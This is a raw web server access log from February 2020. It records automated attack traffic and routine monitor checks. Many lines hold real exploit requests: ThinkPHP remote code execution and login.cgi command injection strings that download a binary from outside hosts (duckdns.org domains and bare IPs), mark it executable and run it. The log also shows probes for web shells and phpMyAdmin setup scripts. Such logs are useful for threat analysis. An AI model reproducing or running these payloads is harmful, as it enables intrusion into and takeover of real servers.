106.12.69.27 - - [04/Feb/2020:20:28:12 +0100] "POST /actionHandler/ajax_network_diagnostic_tools.php HTTP/1.1" 404 347 "http://10.0.0.1/network_diagnostic_tools.php" ""
106.12.69.27 - - [04/Feb/2020:20:28:12 +0100] "ard; curl -O http://80.82.67.184/richard; chmod +x richard; sh richard; &count1=4" 400 329 "-" "-"
212.91.246.72 - - [04/Feb/2020:20:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.231.120 - - [04/Feb/2020:20:29:37 +0100] "GET /tftpboot/ HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [04/Feb/2020:20:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.23.141 - - [04/Feb/2020:20:31:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.183.113 - - [04/Feb/2020:20:31:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [04/Feb/2020:20:33:01 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
46.119.171.190 - - [04/Feb/2020:20:33:01 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
46.119.171.190 - - [04/Feb/2020:20:33:02 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)"
212.91.246.72 - - [04/Feb/2020:20:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.44.244 - - [04/Feb/2020:20:34:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [04/Feb/2020:20:35:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.3.76 - - [04/Feb/2020:20:39:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
31.42.3.76 - - [04/Feb/2020:20:39:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.186.137.112 - - [04/Feb/2020:20:39:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:20:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.252.107 - - [04/Feb/2020:20:44:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.252.107 - - [04/Feb/2020:20:44:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.252.107 - - [04/Feb/2020:20:44:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.197.180.33 - - [04/Feb/2020:20:46:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.130.130 - - [04/Feb/2020:20:47:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.19.184.187 - - [04/Feb/2020:20:47:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.74.23 - - [04/Feb/2020:20:47:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.197.154.7 - - [04/Feb/2020:20:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:20:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.4.84.16 - - [04/Feb/2020:20:49:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.87.4.144 - - [04/Feb/2020:20:51:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
190.48.64.38 - - [04/Feb/2020:20:51:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:20:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.6.172.234 - - [04/Feb/2020:20:53:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
183.80.89.65 - - [04/Feb/2020:20:54:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.18.239 - - [04/Feb/2020:20:54:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:20:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:20:55:32 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
203.195.229.145 - - [04/Feb/2020:20:55:33 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
203.195.229.145 - - [04/Feb/2020:20:55:33 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
203.195.229.145 - - [04/Feb/2020:20:55:34 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:20:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.40.107 - - [04/Feb/2020:20:55:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.40.107 - - [04/Feb/2020:20:55:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.105.27.14 - - [04/Feb/2020:20:56:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
203.195.229.145 - - [04/Feb/2020:20:56:12 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
183.105.27.14 - - [04/Feb/2020:20:56:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [04/Feb/2020:20:56:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [04/Feb/2020:20:56:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
203.195.229.145 - - [04/Feb/2020:20:56:36 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:20:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [04/Feb/2020:20:56:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
203.195.229.145 - - [04/Feb/2020:20:57:00 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
203.195.229.145 - - [04/Feb/2020:20:57:04 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:04 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:06 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:12 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:32 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:41 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:41 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:42 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:42 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:42 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:20:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:20:57:44 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:44 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:44 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:48 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:51 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:53 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:53 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:56 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:56 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:57 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:57:58 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:00 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:04 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:16 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:16 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:18 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:20 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:20 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:21 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:24 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
5.141.190.239 - - [04/Feb/2020:20:58:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:20:58:24 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:24 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
42.119.75.140 - - [04/Feb/2020:20:58:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:20:58:27 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:28 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:32 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:33 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:34 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:35 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:36 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:38 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:40 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:40 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:20:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:20:58:44 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:44 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:48 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:49 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:49 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:50 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:51 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:52 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:53 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:53 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
188.18.20.17 - - [04/Feb/2020:20:58:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:20:58:54 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:56 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
